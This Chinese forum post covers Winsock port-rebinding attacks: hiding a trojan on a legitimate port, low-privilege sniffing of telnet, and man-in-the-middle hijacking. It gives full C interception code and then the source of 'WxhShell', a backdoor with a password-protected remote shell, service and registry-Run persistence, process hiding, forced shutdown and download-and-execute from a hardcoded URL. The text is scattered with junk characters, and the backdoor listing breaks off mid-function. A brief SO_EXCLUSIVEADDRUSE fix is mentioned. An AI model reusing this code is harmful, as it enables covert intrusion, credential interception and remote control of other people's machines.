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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *5q_fO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &m{vLw  
?xYoCn}Z  
  saddr.sin_family = AF_INET; 8w9?n3z=}  
p(pL"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3\H0Nkubts  
OHK]=DH:M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ry"N_Fb  
6&[rA TU+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7Lx =VX#]q  
lzK,VZ=mM  
  这意味着什么?意味着可以进行如下的攻击: #KwK``XC 4  
:za:gs0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W ,|JocDq  
e)2w&2i`(F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -b'a-?  
(i>bGmiN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ue!~|:  
t+2,;G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1LonYAHF  
iU"{8K,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %-#rzeaW  
f]DO2 r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TUM7(-,9  
ZGC*BP/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >NAg*1  
/4Jm]"  
  #include f~v@;/HL  
  #include nW!pOTJq21  
  #include qL/XGIxL?  
  #include    a:}&v^v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OuV f<@a  
  int main() 5<mGG;F  
  { sX|bp)Nw  
  WORD wVersionRequested; 8mv}-;  
  DWORD ret; qN(,8P\90  
  WSADATA wsaData; ]n^TN r7  
  BOOL val; T5? eb"  
  SOCKADDR_IN saddr; kC=h[<'  
  SOCKADDR_IN scaddr; be+tAp`  
  int err; "t:9jU  
  SOCKET s; } TsND6Ws3  
  SOCKET sc; Is#w=s}2  
  int caddsize; ;}QM#5Xdt  
  HANDLE mt; WzdE XcY  
  DWORD tid;   hVd PO  
  wVersionRequested = MAKEWORD( 2, 2 ); yvt :/X  
  err = WSAStartup( wVersionRequested, &wsaData ); `;v>fTcy  
  if ( err != 0 ) { J6J|&Z~UT,  
  printf("error!WSAStartup failed!\n"); <v[UYvZvY  
  return -1; Ncsk~=[  
  } UQ.DKUg  
  saddr.sin_family = AF_INET; :Kx6|83  
   >Z!H9]f(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2sOetmWE7  
[zc8f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V jZx{1kCR  
  saddr.sin_port = htons(23); 8bW,.to(?x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 t o2V  
  { P=PVOt@ b  
  printf("error!socket failed!\n"); khS >  
  return -1; boWaH}?0'  
  } ~pve;(e=  
  val = TRUE; 5_E,x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,'^^OLez  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j6r.HYX!  
  { Lk:Sju  
  printf("error!setsockopt failed!\n"); {>8u/  
  return -1; L__J(6,V2  
  } vu=`s|R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Lzy Ix!S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Yo a|.2f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K f}h{X  
>gGdzL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *$EcP`K$  
  { T<S_C$O  
  ret=GetLastError(); X+;{&Efrl  
  printf("error!bind failed!\n"); k(%h{0'  
  return -1; w;8VD`>[|  
  } M;zJ1  
  listen(s,2); wh)Ujgd  
  while(1) 4Up \_  
  { !Ng~;2GoA  
  caddsize = sizeof(scaddr); ;1Zz-@  
  //接受连接请求 n|Smy\0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g*[DyIm  
  if(sc!=INVALID_SOCKET) 0w<G)p~%n  
  { 9#D?wR#J=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oH]"F  
  if(mt==NULL) 3*;S%1C^  
  { yjB.-o('  
  printf("Thread Creat Failed!\n"); DqbU$jt`  
  break; +y\mlfJ.-b  
  } &I=F4 z  
  } MaQ`7U5 |e  
  CloseHandle(mt); r8Pdk/CW^  
  } /FW{>N1   
  closesocket(s); U5pg<xI  
  WSACleanup(); G'0]m-)dw  
  return 0; #Y;tobB  
  }   ?VP07 dQTe  
  DWORD WINAPI ClientThread(LPVOID lpParam) H;=++Dh  
  { QZ^P2==x  
  SOCKET ss = (SOCKET)lpParam; 'D<84|w:1  
  SOCKET sc; X4dXO5\  
  unsigned char buf[4096]; NAt; r  
  SOCKADDR_IN saddr; AW< z7B D  
  long num; /%9CR'%*c  
  DWORD val; sV5S>*A[  
  DWORD ret; $S_G:}tna  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "Z70 jkW[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ds|L'7  
  saddr.sin_family = AF_INET; <|R`N)AV;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~n )<L7  
  saddr.sin_port = htons(23); zv[pfD7a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'awZ-$#  
  { |JRaskd  
  printf("error!socket failed!\n"); <$ oI  
  return -1; ^,WXvOy  
  } _|qs-USA  
  val = 100; WEVV2BJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /C"?Y'  
  { %jRqrICd  
  ret = GetLastError(); JMIS*njq^  
  return -1; O~=|6#c  
  } "E/UNE6P4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dxAP7v  
  { .Bb86Y=3  
  ret = GetLastError(); |uRZT3bGyj  
  return -1; qsTB)RdjP%  
  } b i 8Qbo4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }6#u}^gy  
  { C0. bjFT|  
  printf("error!socket connect failed!\n"); bX*c-r:  
  closesocket(sc); oA'LQ  
  closesocket(ss); p?qW;1  
  return -1; 0b~{l;  
  } NP?hoqeKs  
  while(1) @/yJTMcf  
  { Zwxu3R_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q;0QI{:5v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;*=MI/"N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~w9.}   
  num = recv(ss,buf,4096,0); #HF;yAc  
  if(num>0) # mK?K  
  send(sc,buf,num,0); hfQx$cv6  
  else if(num==0) X!/o7<  
  break; s_`=ugue  
  num = recv(sc,buf,4096,0); L4?)N&V  
  if(num>0) C^W9=OH  
  send(ss,buf,num,0); lX*IEAc  
  else if(num==0) &hri4p/  
  break; uBXl ltU  
  } pk5W!K  
  closesocket(ss); tH\ aHU[  
  closesocket(sc); ;4] sP^+  
  return 0 ; k~+(X|!5w  
  } nL]-]n;  
<~}# Q,9  
nm.~~h+8M  
========================================================== h..D1(M  
Am&PH(}L  
下边附上一个代码,,WXhSHELL ?.%'[n>P  
4EtP|  
========================================================== K)!Nf.r$9  
Pk 6l*+"r<  
#include "stdafx.h" S85}&\m&4  
dD{{G :V  
#include <stdio.h> ]BiLLDz(  
#include <string.h> P.Uz[_&l6  
#include <windows.h> g k.c"$2  
#include <winsock2.h> \Rff3$  
#include <winsvc.h> 0>KW94  
#include <urlmon.h> aHzS>  
R]y[n;aGC  
#pragma comment (lib, "Ws2_32.lib") FPB O=?H.  
#pragma comment (lib, "urlmon.lib") 0-!K@#$>=  
6x$1En  
#define MAX_USER   100 // 最大客户端连接数 }q~M$  
#define BUF_SOCK   200 // sock buffer =|_{J"sv  
#define KEY_BUFF   255 // 输入 buffer *#n?6KqZ  
4gRt^T-?  
#define REBOOT     0   // 重启 8H})Dq%d7  
#define SHUTDOWN   1   // 关机 sVjM^y24  
(" ,(@nS  
#define DEF_PORT   5000 // 监听端口 O^W.5SaR  
z%cpV{Nu  
#define REG_LEN     16   // 注册表键长度 RV2s@<0p  
#define SVC_LEN     80   // NT服务名长度 vUa&9Y  
Np?%pB!Q  
// 从dll定义API 6)B6c. 5o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $%ts#56*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hQT  p&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hb_J. Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?k7z 5ow  
RO?%0-6O&  
// wxhshell配置信息 kUp[b~  
struct WSCFG { | ]DJz  
  int ws_port;         // 监听端口 ^3B&E^R  
  char ws_passstr[REG_LEN]; // 口令 1dgy-$H~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~VqDh*0  
  char ws_regname[REG_LEN]; // 注册表键名 wx,yx3c (  
  char ws_svcname[REG_LEN]; // 服务名 t"]+}]O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t|ih{0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _3lci  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tAM t7p-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :XP/`%:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M-Tjp'=*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @D3Y}nR:  
`- \J/I  
}; e{<r<]/j  
+v7mw<6s  
// default Wxhshell configuration fA k]]PU  
struct WSCFG wscfg={DEF_PORT, #_b U/rk)*  
    "xuhuanlingzhe", nhm)P_p   
    1, ? V0!N;  
    "Wxhshell", y]veqa  
    "Wxhshell", 0L5 n<<7  
            "WxhShell Service", os3jpFeG'  
    "Wrsky Windows CmdShell Service", jBO/1h=  
    "Please Input Your Password: ", \9%SR~  
  1, &H`AS6  
  "http://www.wrsky.com/wxhshell.exe", wePhH*nQ>  
  "Wxhshell.exe" *h `P+_Q7  
    }; (pl|RmmDz  
^"?fZSC  
// 消息定义模块 =y$|2(6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :'pLuN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5ZXP$.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D[NJ{E.{  
char *msg_ws_ext="\n\rExit."; 1@}`dc  
char *msg_ws_end="\n\rQuit."; a->;K+  
char *msg_ws_boot="\n\rReboot..."; v%=@_`Ht  
char *msg_ws_poff="\n\rShutdown..."; 0^L>J "o  
char *msg_ws_down="\n\rSave to "; 007(k"=oV  
b3Uw"{p  
char *msg_ws_err="\n\rErr!"; fXV+aZ  
char *msg_ws_ok="\n\rOK!"; _shoh  
a%"27 n(M  
char ExeFile[MAX_PATH]; !\DlX |  
int nUser = 0; |\lsTY&2  
HANDLE handles[MAX_USER]; #c?xJ&bh  
int OsIsNt; l. 9 i `  
*" ("^_x\  
SERVICE_STATUS       serviceStatus; *K<|E15 ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'F)93SwU  
h "MiD  
// 函数声明 1TagQ  
int Install(void); <yw6Om:n<  
int Uninstall(void); 7H+IW4Ma  
int DownloadFile(char *sURL, SOCKET wsh); 8K]5fkC|  
int Boot(int flag); =nQgS.D  
void HideProc(void); "zn<\z$l  
int GetOsVer(void); * 7<{Xbsj^  
int Wxhshell(SOCKET wsl); 0I`)<o-  
void TalkWithClient(void *cs); /oWn0  
int CmdShell(SOCKET sock); .}wVM`81z  
int StartFromService(void); q, 8TOn  
int StartWxhshell(LPSTR lpCmdLine); oV(|51(f  
bI_6';hq!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DxFmsjX[L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S^Lu RF]F  
rW8.bMmM  
// 数据结构和表定义 *Va;ra(V2  
SERVICE_TABLE_ENTRY DispatchTable[] = =Ts3O0"[  
{ x e~lV  
{wscfg.ws_svcname, NTServiceMain}, .9cQq/{b  
{NULL, NULL} x?aNK$A~X  
}; ~6)A/]6  
Mx3MNX /  
// 自我安装 ?>p (*  
int Install(void) 9ff6Apill  
{ &^v5 x"  
  char svExeFile[MAX_PATH]; pn:) Rq0  
  HKEY key; O7M8!3Eqm  
  strcpy(svExeFile,ExeFile); ``zgw\f[%  
#GJ{@C3H8Q  
// 如果是win9x系统,修改注册表设为自启动 z^ai *   
if(!OsIsNt) { eWgqds&#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GQ@`qYLZ+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j.?c~Fh  
  RegCloseKey(key); al<;*n{/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =02$Dwr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B=>VP-:  
  RegCloseKey(key); O3YD jas  
  return 0; ?F^$4:  
    } }f~:>N#  
  } + Z7 L&BI  
} MsaD@JY.y  
else { R;G"LT  
7z_EX8^  
// 如果是NT以上系统,安装为系统服务 P?#I9y7iP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _|'e Az   
if (schSCManager!=0) hyHeyDO2  
{ y.xyr"-Q  
  SC_HANDLE schService = CreateService QgR3kc^7/  
  ( )g()b"Z #>  
  schSCManager, >{v,H Oxl  
  wscfg.ws_svcname, wX!q dII)  
  wscfg.ws_svcdisp, Z~?1xJ&  
  SERVICE_ALL_ACCESS, ^Uj\s /  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rT&rv^>f  
  SERVICE_AUTO_START, iFJ1}0<(x  
  SERVICE_ERROR_NORMAL, R/_bk7o]H  
  svExeFile, zF)&o}  
  NULL, UgVLHwkvk  
  NULL, @26gP:Um  
  NULL, TZl^M h[a  
  NULL, )U?5O$M;lE  
  NULL -E$(<Pow~\  
  ); tyW5k(>  
  if (schService!=0) ?g6xy[  
  { JB <GV-l  
  CloseServiceHandle(schService); /.1yxb#Z?,  
  CloseServiceHandle(schSCManager); 8p;|&7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iF_#cmSy$  
  strcat(svExeFile,wscfg.ws_svcname); 3tt3:`g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HGwSsoS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q{:5gh  
  RegCloseKey(key); c*k%r2'  
  return 0; ;v*J:Mn/=  
    } (}#8$ )  
  } S`\03(zDA  
  CloseServiceHandle(schSCManager); )'+ tb\g  
} c SV`?[a  
} \[>Ob  
Un~8N  
return 1; $ #*";b)QY  
} C8xxR~mq  
j& H4L  
// 自我卸载 KkIgyLM  
int Uninstall(void) h:4Uv}Z  
{ ~ \{a<-R  
  HKEY key; ki8;:m4  
fK0VFN8<I  
if(!OsIsNt) { JZo18^aD"'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [J{M'+a  
  RegDeleteValue(key,wscfg.ws_regname); z AZ+'9LB  
  RegCloseKey(key); '1 }ybSG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  s-Z<  
  RegDeleteValue(key,wscfg.ws_regname); 4eRV?tE9  
  RegCloseKey(key); $M0F~x  
  return 0;  UZV\]Y  
  } qdOUvf  
} _<8~CWo:  
} qDV t  
else { \C&[BQ\  
OpNxd]"T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DO^ J=e  
if (schSCManager!=0) GBvgVX<  
{ ROWI.|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UA8*8%v  
  if (schService!=0) F YLBaN  
  { UyUz_6J  
  if(DeleteService(schService)!=0) { DD?zbN0X  
  CloseServiceHandle(schService); }g9g]\.!a  
  CloseServiceHandle(schSCManager); 2}BQ=%E!'  
  return 0; rP7[{'%r  
  } }#<mK3MBe  
  CloseServiceHandle(schService); nj (\+l5  
  } C5F=J8pY  
  CloseServiceHandle(schSCManager); )&") J}@  
} '|7'dlW  
} FB>^1B]]  
*M]@}'N  
return 1; jR_o!n~5  
} #$^vP/"$  
Qf .ASC   
// 从指定url下载文件 ,O'#7Dj  
int DownloadFile(char *sURL, SOCKET wsh) Po1/_# mu  
{ 0XWhSrHM  
  HRESULT hr; mH,L,3R;R  
char seps[]= "/"; JS^QfT,zE  
char *token; (Ev=kO  
char *file; uE]Z,`e  
char myURL[MAX_PATH]; * q$O6B-  
char myFILE[MAX_PATH]; A hCqQ.O71  
>* )fmfY  
strcpy(myURL,sURL); fN!lXPgM  
  token=strtok(myURL,seps); ZYexW=@  
  while(token!=NULL) GL^84[f-T  
  { #1z/rUh`Cr  
    file=token; Pe,:FIp,  
  token=strtok(NULL,seps); 0|=,!sY  
  } `mE>h4  
!LX)  
GetCurrentDirectory(MAX_PATH,myFILE); NRI @M5  
strcat(myFILE, "\\"); QE Q/  
strcat(myFILE, file); ng6".u9  
  send(wsh,myFILE,strlen(myFILE),0); Oj,v88=  
send(wsh,"...",3,0); Q&@e,7]V+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zAkF:^#Y  
  if(hr==S_OK) )7jJ3G*  
return 0; xCYK"v6\  
else 4c'F.0^  
return 1; i!i=6m.q7  
\5pBK  
} TZ+- >CG  
6g-Q  
// 系统电源模块 >At* jg48  
int Boot(int flag) @d1YN]ede  
{ 3Jh!YzI8  
  HANDLE hToken; B~h3naSe  
  TOKEN_PRIVILEGES tkp; 8fSY@  
=MjkD)l  
  if(OsIsNt) { v1VH&~e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %nV6#pr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1$#1  
    tkp.PrivilegeCount = 1; @j`gx M_-O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [lz#+~rOS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \n<9R8g5  
if(flag==REBOOT) { m FgrT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) : =f!>_r+  
  return 0; i1 >oRT{Z  
} m|]:oT`M  
else { Ju@8_ ?8=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A:4?Jd>  
  return 0; xS+!/pBf"Y  
} Aryp!oW  
  } ?P%-p  
  else { % 4Gt^:J"  
if(flag==REBOOT) { ( &!RX.i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ial"nV0>0  
  return 0; wM1&_%N  
} \&MJ(F>vJ  
else { {%+UQ!]d8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3%(,f,  
  return 0; cw/E?0MWb  
} !!+LFe4su  
} O)8$aAJ)V  
&[7z:`+Y##  
return 1; AaLbJYuKd  
} rcAPp  
;Xl {m`E+  
// win9x进程隐藏模块 g%_ 3  
void HideProc(void) >K!$@]2F  
{ T$"sw7<  
d<cqY<y VA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W P9PX  
  if ( hKernel != NULL ) hYbaVE  
  { !B v.@~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +yI2G! $T9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @+7CfvM  
    FreeLibrary(hKernel); ~5>k_\ G8  
  } T"/dn%21  
] B?NDxU  
return; v|R#[vtFd  
} 8bdx$,$k  
Ei4Iv#Oi`  
// 获取操作系统版本 (_3QZ  
int GetOsVer(void) UB,0c)   
{ `b KJ  
  OSVERSIONINFO winfo; KU^|T2s%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :{s0tw>Z  
  GetVersionEx(&winfo); [4r<WvUaM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sV;q(,oru  
  return 1; GmH`ipi  
  else 5c0$oyl)M  
  return 0; 5VSc5*[  
} rpUTn!*u/  
.aQ8I1~  
// 客户端句柄模块 .#}A/V.-Y  
int Wxhshell(SOCKET wsl) CI1K:K AM  
{ _`lPLBr6  
  SOCKET wsh; +xS<^;   
  struct sockaddr_in client; ~NTKWRaR  
  DWORD myID; >mj WC) U  
E(_lm&,4+  
  while(nUser<MAX_USER) 84 <zTmm  
{ G2&,R{L6w  
  int nSize=sizeof(client); }yaM.+8.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >avkiT2  
  if(wsh==INVALID_SOCKET) return 1; ]sI\.a  
\c1>15  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aF[#(PF  
if(handles[nUser]==0) Sq x'nXgO  
  closesocket(wsh); Te`MIR  
else NNMn,J  
  nUser++; ?DE{4Ti/[  
  } akG|ic-~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n}C0gt-  
 i (`Q{l  
  return 0; XUA%3Xr  
} Ya}}a  
a@-bw4S D  
// 关闭 socket T^ - -:1  
void CloseIt(SOCKET wsh) ,<$rSvMfg  
{ IP^1ca#<  
closesocket(wsh); P('bnDU  
nUser--; nG$+9}\UlP  
ExitThread(0); ,/"0tP&_;  
} p!EG:B4  
d4)0G-|  
// 客户端请求句柄 MkWbPm)  
void TalkWithClient(void *cs) p*l=rni4  
{ 4n*`%V  
U|b)Bw<P  
  SOCKET wsh=(SOCKET)cs; XePGOw))O  
  char pwd[SVC_LEN]; eH~T PH  
  char cmd[KEY_BUFF]; rP#&WSLVj  
char chr[1]; hcz!f  
int i,j; w,j;XPp  
,hZ?]P&  
  while (nUser < MAX_USER) { y(O~=S+<  
wScr:o+K>L  
if(wscfg.ws_passstr) { 89{`GKWX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zYM0?O8pJ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -XnOj2  
  //ZeroMemory(pwd,KEY_BUFF); 4?]s%2U6  
      i=0; -wVuM.n(Z  
  while(i<SVC_LEN) { eh8lPTKil  
/]of @  
  // 设置超时 ^a$L9p(  
  fd_set FdRead; 8tO.o\)h  
  struct timeval TimeOut; q{+}0!o  
  FD_ZERO(&FdRead); L\R(//V  
  FD_SET(wsh,&FdRead); 4>/i,_&K K  
  TimeOut.tv_sec=8; 2cwJ);Eg2  
  TimeOut.tv_usec=0; xIH= gK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5=b6B=\*~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fu?u~QZ8  
?J-D6;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \YHl(  
  pwd=chr[0]; -j@IDd7  
  if(chr[0]==0xd || chr[0]==0xa) { ^])s\a$  
  pwd=0; 7X>*B~(R  
  break; pktnX-Slt  
  } N36B*9m&p  
  i++; 79I"F'  
    } NErvX/qK  
a5&[O  
  // 如果是非法用户,关闭 socket A-*MH#QUKh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )-h{0o  
} 7I*rtc&Kb  
o6:@j#b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wr~Qy4 ny  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Fv_~F491  
deJ/3\t  
while(1) { g?K? Fn.}  
Gyrc~m[$  
  ZeroMemory(cmd,KEY_BUFF); PR*EyM[T  
9< S  
      // 自动支持客户端 telnet标准   u$X =2u:P  
  j=0; I}m>t}QRI_  
  while(j<KEY_BUFF) { %cJdVDW`L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q29d=  
  cmd[j]=chr[0]; J4s`U/F  
  if(chr[0]==0xa || chr[0]==0xd) { _Fe=:q  
  cmd[j]=0; Qz"//=hC|H  
  break; 0#ON}l)>  
  } GIfs]zVr`  
  j++; rV2>;FG  
    } foB&H;A4oC  
m)]|mYjju  
  // 下载文件 +{}p(9w@  
  if(strstr(cmd,"http://")) { [&l+Ve(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4q(,uk&R[  
  if(DownloadFile(cmd,wsh)) @Y<fj^]k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @, AB 2D  
  else rv<qze;?|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kWs:7jiiu  
  } iRqLLMrn  
  else { cVYu(ssC4  
$"k1^&&E  
    switch(cmd[0]) { 1lJ^$U  
  k(v &+v  
  // 帮助 Do5{t'm3  
  case '?': { i[w&!mn%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wM#l`I  
    break; *~w?@,}  
  } JvaHH!>d/  
  // 安装 ymT]ow6C  
  case 'i': { b,'rz04^  
    if(Install()) &vIj(e9Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lTFo#p_(  
    else "{d[V(lE"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [4@@b"H  
    break; \jS^+Xf?^  
    } f# hmMa  
  // 卸载 s?fEorG  
  case 'r': { +ZV?yR2yn  
    if(Uninstall()) wo$ F_!3u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;&kZ7%  
    else 8%xiHPVg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1F+nWc2b  
    break; woN d7`C}7  
    } Hq>rK`  
  // 显示 wxhshell 所在路径 O* )BJOPa  
  case 'p': { Zm(}~C29  
    char svExeFile[MAX_PATH]; Uo[`AzD3  
    strcpy(svExeFile,"\n\r"); Ye^xV,U@  
      strcat(svExeFile,ExeFile); Q8h=2YL  
        send(wsh,svExeFile,strlen(svExeFile),0); 9WHarv2@  
    break; ]eX(K5 A  
    } rP/W,! 7:K  
  // 重启 &ha<pj~  
  case 'b': { T(k:\z/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L Z3=K`gj  
    if(Boot(REBOOT)) q^~w:$^ U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o[S Mt  
    else { $N|Spp0  
    closesocket(wsh); RLGIST`  
    ExitThread(0); zE7)4!  
    } qQS&K%F  
    break; . ywVGBvJ  
    } 1KJ[&jS ]  
  // 关机 G {a;s-OA3  
  case 'd': { Yi19VU|/  
